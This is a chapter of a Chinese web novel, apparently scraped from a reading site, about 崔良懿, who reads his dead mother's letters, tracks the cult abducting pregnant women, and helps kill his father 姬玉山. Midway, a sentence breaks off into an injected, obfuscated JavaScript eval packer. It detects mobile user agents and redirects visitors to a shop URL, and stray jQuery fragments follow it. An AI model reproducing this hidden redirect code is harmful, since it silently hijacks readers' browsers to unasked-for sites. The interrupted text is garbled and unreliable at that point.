114. 番外2:崔良懿
作品:《白玉蛇骨》 从春日潋滟的中原,一路行至风起白草的山木州,崔馨从不后悔自己的选择。
当所有人都站在她的对立面时,她仍坚信自己是对的。
道不同不相为谋,她只有找能相信的人。
她早知道自己已有身孕,去花都山找姬玉山也是为了告诉他这件事,只是没想到那次见面已成最后一面。
她不想告诉姬玉山这件事,她的孩子,不配拥有这样的父亲。
官夷给她安排了住处,虽比不上皇宫,但崔馨并不在意。
她反复向官夷指责宇文倧和姬玉山,并让官夷今后多多提防姬玉山,那些尸蛊,永远是祸患。
但她的指责不痛不痒,权力不在她手上,除了就在面前的官夷,没有人会听她的。
她在屋中给腹中的孩子不停地写信,悲愤交加的情绪使她一天天消瘦下去。
直到一个阴雨绵绵的夏季,新生命的呱呱坠地带走了她。
将军府挂满了白幡,小官和宜抱着襁褓里的婴孩,跪在她的棺木前。
她给这孩子取名叫崔良懿,她要他有良知,守懿德。
*
崔良懿从小跟着官和宜练武,但他坚持不下去,每次都会偷偷摸摸逃开,去找季夫子借书来看。
久而久之,官和宜也不再逼他习武,只道要多活动活动身子,别整天老生病。
“我明白了和宜哥,”崔良懿道,“每日晨练我都会去,你放心吧!”
翌日晨练,官和宜等了半个时辰也不见人影,去营舍一瞧,炕上四仰八叉睡着的,不是崔良懿是谁?
官和宜叹了口气,给他把被子盖好,独自出去晨练了。
快到午饭时了,官和宜将练枪插回木架,才看到崔良懿揉着脸,端着脸盆从屋里出来。
“你答应我去晨练,今早是怎么回事?”他凑过去问。
崔良懿打了个呵欠,慢悠悠道:“昨晚看书看得入迷,一不小心就很晚了,所以今早就没起来。”
“和宜哥,我发誓明天一定去!”他抱着脸盆去跑去井边打水,官和宜望着他的背影无可奈何。
官和宜正转身去厨房看看午饭,又听崔良懿在身后大叫道:“和宜哥!帮我打一下饭,我马上就到!”
午饭是简单的炖菜和面条,崔良懿把脸罩在碗上呼噜噜地吃着。
官和宜吃得比他快些,放下碗,忽然道:“良懿,我爹叫你下午去他那里一趟。”
崔良懿抬起头来:“什么事呀?”
官和宜道:“我也不知道,但……他很严肃,我觉得,应该是你很想知道的事。”
崔良懿顿了一下,又继续往嘴里塞起来。
咽下这一口,他道:“我知道了和宜哥。”
官和宜再一次看着他的背影默默离开。
*
午饭一过,他便去敲开了官夷的门。
“官叔。”
官夷没有讲话,起身从身后的书架子上抽出一个鼓鼓囊囊的信封,递给了他。
上面写着一个他曾听过的名字,崔馨。
“这是你娘留给你的信,我好生保存着,没有人看过。”官夷道,“她叫我等你长大了、懂事了再给你,你拿回去看吧。”
崔良懿将信封捏在手里,官夷又道:“你若是不想独自面对,可以叫和宜陪着你。”
崔良懿点点头:“我明白了,官叔。”
他捏着信封走出去,径直走回自己的屋子里,心思全然在手中之物上,根本没感觉到官和宜远远目送着他的视线。
关上门,窝在床脚,他才慢慢地拆开信封。
他从小跟着官和宜一家长大,觉得官夷就是他爹,盛禾安就是他娘,官和宜就是他的大哥。
可他只能叫官叔、盛姨、和宜哥。
他姓崔,可是这里没有人姓崔。
“我到底是谁的孩子?”
小崔良懿曾这么问过官和宜。
官和宜答:“长大你就知道了。”
小崔良懿问:“和宜哥也是长大之后才知道爹娘是谁的吗?”
官和宜只能苦笑着答:“是的,所以你长大就知道了。”
他长大后才知道了,所有人都有爹娘,就他没有。
他的爹娘长大后也没有出现,而出现在他面前的,只有这厚厚的一摞信纸。
原来我的爹娘是信纸呀,早说嘛。他自嘲地扯扯嘴角,展开了信纸。
从崔馨安顿在山木州开始,直到临产前,她一共写了二百多封。
笔迹从原来的遒劲有力,逐渐变得颤抖凌乱起来,内容也从声讨姬玉山,逐渐变成了对崔良懿的叮嘱。
崔馨要他学正确的治国之道,要他聪明,不要像姬玉山一样走歪了,要他再见到他父亲,就把他杀了……
为了让崔良懿认出姬玉山,崔馨甚至将他和他的蛊尸计划详细写了出来。
他窝在角落里,一张一张接着看,直到天色暗下来也没有发觉。
烛光忽地亮起,一声音传来:“你这样看字,早晚把眼睛看坏了。”
崔良懿慌张地收起手中的信,仿佛害怕别人窥探到些什么。
烛灯旁的官和宜拿着一根引火香,立在原地道:“别怕,我不会看的。你若是不愿说,可以先放在心里。”
官和宜走了。
崔良懿眼中的烛光渐渐模糊,直到两行清泪落下,打湿了手中的纸。
*
转眼间,几年过去,当初的少男也长成玉立青年,和需要练武的官和宜不同,他总是出没在山木州各地,成了一位什么事都能打听到的“路路通”。
他经常溜出将军府,游荡在大街小巷中,哪里开了新铺子,哪里又发生了什么新鲜事,几乎都是一手消息。
他有时出去得久了,也会自己回去,官和宜便没放在心上。
直到台子巷尾那家卖豆腐的铺子莫名其妙关停了。
他在山木州的镇上守了整整七日,才发现卖豆腐的吴婶婶忽然衣着凌乱地出现在官府门口。
她正和一位少女攀谈着什么。
崔良懿迎了过去,将吴婶婶带走了。
这才知道,有一帮来路不明的人,窃走城中孕妇,而吴婶身强体壮,自己逃了出来。
“懿哥,你一定要想办法救救那些姑娘和孩子们啊!”
崔良懿点点头:“婶婶,别急,我会想办法。”
吴婶摇着她的手,苦着脸道:“你也得小心,他们有妖,你得带人去,你一个人打不过的。”
崔良懿侧头道:“有妖?婶子,你有听到他们说过什么话吗?”
吴婶道:“他们好像是个什么帮派,教主姓姬,是个年轻的小伙子。”
崔良懿警觉起来,姬玉山在当年山祭后便杳无踪迹,他找了很久一无所获,现在突然又冒出来一个姓姬的教主。
他道:“婶子,这帮派叫什么名字?”
吴婶道:“生死教?还是死生教,总之是跟这几个字眼有关。”
崔良懿心下一动,已有了想法。
是死生教,这名字,他在良辰客栈听到过。
*
沿着吴婶这条线索,他一路查到了城中所有失踪孕妇的家,数量不小,但却无一人声张。
这死生教究竟给他们灌了什么迷魂汤,能将这等大事压下来。
他守了几日良辰客栈,一无所获之后,又将目光投向了城中新建起的乐坊,春秋夜。
据说那儿也是个贩卖江湖情报之处。
只不过和良辰客栈不同,那里的情报会更多,也会更周详些。
若说良辰客栈是个野花苑,春秋夜则是买门帖才能进的私人园林。
而崔良懿要见的,是这园林的主人。
为了掩匿行踪,他特地换了身衣服,脸上带了一张造型夸张的面具。
砸了一千两银子,他终于拿到了资格,进入春秋夜主人白月明的落梅轩。
“白老板。”崔良懿率先开口,“我时间紧任务重,来此就问两件事。”
白月明道:“公子请讲。”
崔良懿道:“其一,白老板可否知道,这山木州近些年来突然出现的死生教是什么来头?”
白月明娓娓道:“山木州常年鱼龙混杂,这死生教也同江湖上遍地开花的帮派无甚区别。怎么,公子对这个死生教感兴趣?”
崔良懿斟酌了一下,道:“是啊,怎么才能加入死生教呢?我找不到门路,只好来问白老板了。”
白月明似乎是早知道他要问这个,从身边拿起一个信封推向他,道:“入这死生教,首先要‘过三关’。”
崔良懿接过信封,轻飘飘的。
白月明接着道:“但这三关是什么,春秋夜也无解,死生教出世不久,又极善隐匿,确实没有什么消息能告诉公子。信封中是五百两银子的银票,春秋夜没能解决问题,就退给公子了。”
崔良懿听了,又将信封放到桌上:“那白老板再听听我第二个问题。”
白月明道:“公子若还是想问与死生教有关之事,”她又拿出一个信封,“就请回吧。”
崔良懿不死心道:“白老板知不知道,城中孕妇失踪一事?这事为何在城中毫无波澜?”
白月明道:“一年前城中就已有孕妇忽然消失一事,起先有一两家追究过此事,但其家人皆横死于深山中,再后来,便没人敢提起了。”
崔良懿道:“那便任由那些无辜的人接二连三地被抓走吗?”
白月明闭了闭眼,无奈不语。
崔良懿又问道:“他们都死在了哪里?”
白月明道:“公子可以往南走走,花都山、玉林山,皆有其踪迹。”
“多谢白老板。”他衣袖一甩,心中已有了计划。
还未出门,白月明忽然又叫住他。
她将两个信封全部递过来,道:“公子若是有了这些妇人们的消息,春秋夜愿重金买下,今日之言当做我白月明自愿赠与。”
崔良懿接过她手中的信封:“白老板,等我查清,一定回来找你。”
*
刚好,吴婶口中的路线也是向南走。
他一直向南,直至走到山木州最南边,同花都山交界之处——抱夏峰。
走上陡坡,他才发现这里有重兵把守。
揣起手中的笔记,整理了一下衣服,他施施然上前,直到山口的守卫拦住他。
“什么人?”
崔良懿像是吓了一跳,身子一抖,捂着嘴道:“原来这儿还有人?!”
守卫不语,戒备地看着他。
崔良懿道:“在下是路过此处的书生,敢问大人,为何在此把守?”
守卫一脸傲慢道:“这儿是死生教教主的住处,不知道的就快走吧!”
正是守卫这份傲慢,叫他正打正着了。
“多有得罪,多有得罪。”他一边念叨着,一边离开此处。
然后转了个弯,从山侧上山去了。
一路行至抱夏峰山顶,一座小苑映入眼帘。
这里果然住着人。
崔良懿寻了一处平坦地面,掏出炭笔在纸上画着。
他在这山林中坐到了傍晚,才等到有人回来。
那是位个子不高的青年男子,他身后跟着一位随从,行至屋门口,随从应声“教主,告辞”后,退下了。
看来这就是死生教那位年轻的姬姓教主。
崔良懿不禁想道,姬玉山离开母亲之后,竟已有了新的孩子,还长这么大了。
*
在山上同这教主住了多日,崔良懿带来的笔记上已写满了字,包括这位教主的姓名,饮食起居,兴趣爱好,每日工作,还有……他的性别。
这位姬青教主,其实是个女子。
他看着手里的笔记,思索许久。
姬青打探得差不多,他也该再次启程了。
再往南就是玉林山,按白月明的话来说,那里也有可能有线索。
到花都山脚的镇上整理一番,他便踏上了前往玉林山的路,只不过他走的路线和别人有所不同,他从山的背面走。
不顾险峻,他心中只有找到答案的强烈想法。
花都山的背面,也就是西边,有着极为险峻的临池崖,崖边是高山池,从渡过池水便是玉林山上的苗疆。
崔良懿身上颇为贵重的刺绣外衣,经过几日的颠沛,已是泥泞不堪。
好在线索来得很快,靠近临池崖时,他看到了远处山崖间盖起的一座座小楼。
这样人迹罕至的地方,诡异地出现这样一片建筑,而楼旁,正有一个天然形成的山洞。
他心中激动,愈是兴奋,就愈是注意不到危险。
注意到远处的山洞,就注意不到脚下的坑。
他连人带着身上的布包,囫囵掉下了山崖。
*
他只记得那天的池水实在冰冷,一股脑塞进他的耳朵、鼻子、嘴里,顺着鼻子嘴,流进四肢百骸,身体瞬间失去了温度,他猛地打了一个寒战。
他感到身上全是水,身上的衣服像水草藤蔓一样牢牢扒在身上,挣也挣不开。
直到一个身影走进他眼中。
他才回过神来。
“这位公子,起来喝药吧。”
他正躺在一张床上,也不知时何时到了这里的——这是哪里?又是怎么过来的?面前的女子又是谁?
崔良懿无措地左右看看,那女子端着药碗已放到他嘴边。
清苦的气味传来,他皱起眉躲开了。
“好吧,”女子道,“我也不知道怎么照顾别人,你既已醒了,就自己坐起来把药喝了吧。”
崔良懿双唇闭了太久,用了些力才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111810|182272||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挣开,沙哑着声音问道:“你是谁?”
他的声音自己听了也吓一跳,像个乱拉的破二胡。
女子颜色一展,道:“哦,忘了说了。”
“前几日,我去高山河边散心,忽然有个人漂下来了,不过说实在的,这事还没有被长老发现我偷溜出来吓人。
“我过去一瞧,人还活着呢,就把你给背来了,之后你就开始高烧,也不知在水里泡了多久。
“你没办法喝药,我便先给你针灸了,这还是我第一次给人针灸,看来效果不错!~
“我叫黎莞莞,你叫什么名字啊?”
崔良懿静默了一会儿,才消化完她这一番话。
他那日失足掉下山崖,直接掉进了高山池中,顺着池水漂到了苗疆,被这位姑娘救上了岸。
“谢谢你,黎姑娘……”他操着一口破二胡道,“我叫崔良懿。”
黎莞莞根本没听清他说的是哪几个字,只道:“崔公子,你这嗓子也太好笑了。”
说完她毫不遮掩地笑了几声,崔良懿有些发懵,思绪还停留在坠崖之前。
面前又出现了那只药碗,黎莞莞道:“你快喝药吧,人醒了应该无大碍了,之后慢慢调理就好了~”
“放心,没有毒。”她又补充道。
*
经过药汤和温水润过之后,他的嗓子好了些,至少能说清楚话了。
这黎莞莞也实在奇怪,看起来是她的屋子,她每日只来一会儿就走了。
他的衣服经过池水冲刷,洗得干干净净,黎莞莞都给他挂在屋外,现在应当已晾干了。
他取回衣服,换好之后,坐在屋里等她过来。
每到午后,她便会来一会儿,今日也是如此。
“崔公子,今日感觉怎么样啦?”她从门外探头进来,见到床上正襟危坐的崔良懿。
他闲暇之余,把屋子里外都打扫了一遍,全身汗一出,竟畅快了不少。
加之黎莞莞的药效助力,已基本恢复如初。
“黎姑娘。”他的声音也好了很多。
黎莞莞放下身上背的药坛子,转身去小木架上拿碗。
崔良懿道:“这间屋子是你的吗?”
黎莞莞道:“是呀,我之前偷溜出来发现的,我见没人住,就收拾出来据为己有了。”
崔良懿道:“那你晚上又去哪里了?”
“我不住这里,”黎莞莞回过头,“我是苗疆的祭祀巫女,我必须得住在山顶上才行……”
说完,她连忙捂住嘴:“遭了,崔公子,你可千万不要给长老说我偷溜出来的事,他们会看管得更严,我就不能出来了!”
崔良懿道:“你放心吧,我又不认识,上哪说去。”
黎莞莞道:“那你呢,你是从哪里来的?怎么会掉进河里?”
崔良懿道:“我是从山木州来的,为了调查一些事。”
他说得模糊,并不想让别人知道他其实在调查自己的亲爹。
而黎莞莞却一脸惊讶道:“山木州?那是不是比花都山还远的地方,那地方长什么样?有什么好玩的、好吃的吗?”
崔良懿没想到她的重点在山木州,只有顺着她说下去:“好玩的没什么,好吃的不少,你若是感兴趣,过去就找我,我请你吃。”
黎莞莞原本兴奋的眼神渐渐暗了,她道:“谢谢你,若我能有机会……”
后面嘀咕了什么,崔良懿没听清。
今日的药吃了,他给黎莞莞掏了一个信封,里面是五百两银子的银票,却被黎莞莞回绝了。
“我拿这钱没用,”她也拿出一张纸,上面写满了各种药材,“倒是你,你今日要走了吧,高热之后身体虚弱,这药方你拿回去吃,要调理个七八日。”
崔良懿接过,黎莞莞的字迹工整清楚,药量也都仔细标在旁边。
她转身,就要出去了:“崔公子,今日长老要来,我就先回了,你路上小心些,别再掉沟里了。”
她笑着,阳光从她身后照进来,脸上一片阴影。
崔良懿最后还是将银票放在枕下,出门把药坛子和药碗都洗干净,才离开了这里。
*
辗转一番,他又去了花都山脚的镇上。
照着黎莞莞给他的药方抓药,他碰到了一位付不起药钱的人。
正是武功极佳的黑刀“乌云”。
帮那人慷慨解囊后,他心中忽地有了一个顺理成章混进死生教的办法。
他结识了这位无助的“病人”,骗他去抱夏峰刺探教主姬青,最后自己再假意将姬青救走。
崔良懿从默默无闻的路人,如此这般成了姬青的“救命恩人”。
至此,他才第一次见到自己那位无恶不作的父亲。
姬玉山似乎并不知道他清楚一切事,欣然将他留了下来,只是他没想到,还有一位同样插手进来的魏止郢。
他想找机会杀了姬玉山,但总有人想马上动手。
一段时间后,姬青带着黎芊芊回了死生教,相处虽说和平,但崔良懿能察觉到每个人的敌意。
一次跟踪后,他也成为了讨伐姬玉山的一员。
魏止郢和他交换了彼此的计划。
“和宜哥,把人交给我吧。”
作为最不会让姬玉山怀疑的人,他把这个计划传达给了刺杀计划中的每一位成员。
将白蛇带回死生教,将大家的行动和准备告诉小楼中的人质黎芊芊……
他连起了每一个人。
终于在那个夜里,姬玉山死了。
崔良懿并不在意是否是自己亲手杀掉的,他只想让这个作恶多端的人死得其所。
一切尘埃落定,他回到了将军府。
崔彬为崔馨重新修了墓,崔良懿也带着官和宜去祭拜过了。
他给母亲写了二百多封回信,连同崔馨的信一起,封进墓中。
*
开春后,镇西军一年一度的春季征兵开始了。
官和宜立在场中,眼神巡过每一位报名者。
崔良懿给自己搭了个小棚,一个一个记录着报名者的姓名。
“下一个!”他伸手往笔尖上沾了点墨,写下“第四十九”。
“阿青,青草的青。”
这声音听起来雌雄莫辨,崔良懿有些疑惑,抬起头来看了一眼。
曾经的死生教教主姬青,现在灰头土脸地拿着一个布包,站在这张报名的小桌前。
崔良懿有些意外,她真的来了,但这又在他意料之中。
“看什么看,快写!”
她还是那副样子。
崔良懿笑了,郑重地将“阿青”二字写在纸上。
她愿意抛下过去,扔掉与姬玉山有关的东西,重新成为无需被任何人肯定的她自己。
太好了。
崔良懿心里想。

